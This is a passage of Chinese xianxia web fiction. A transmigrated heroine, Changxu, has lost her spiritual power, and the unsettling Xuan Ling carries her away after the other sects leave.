这群人里就他还算讲理，她如今灵力尽失，若落到盛怒的宣凌手里，怕是轻则伤残、重则灰飞烟灭啊！ 想到原著中许长生挫骨扬灰的下场，常栩说什么都不肯放手。 旁边的宣凌静静看着这一幕，唇角笑意更深。 可惜常栩没什么气力，轻易就被展玉川拂开，转而由南玄弟子架住。 “许掌门，莫再挣扎了。” 楚绝走到宣凌身侧，望着他怀中少女，面露哀戚：“公子，您终于寻回裳儿姑娘了。” 展玉川不动声色地看了一眼，识相地没有问具体情况，只对宣凌道了声“节哀”。 宣凌捋着裳儿否发丝，深情凝视她安详的睡颜：“无妨，找到她便好，我已放下了。” 展玉川道：“真未料到许掌门竟会做出此事，当真是……” 他略带责备地看了常栩一眼。 常栩：“……” 怎么办，百口莫辩。 不过，为何宣凌会说裳儿是他的爱人啊？ 他这眼神是不是不太对劲？ 很快，天元宗与伏幽派众人相继告辞离去，只剩下宣凌和楚绝。 常栩看见宣凌将裳儿交由楚绝，看着他朝自己走来，满脑子只剩“你不要过来啊！” 然而没什么用。 宣凌将没了灵力的常栩打横抱起，在她耳边温声道：“走吧师姐，我还有好多话要想同你说。” 这句话说完，常栩彻底失去了意识。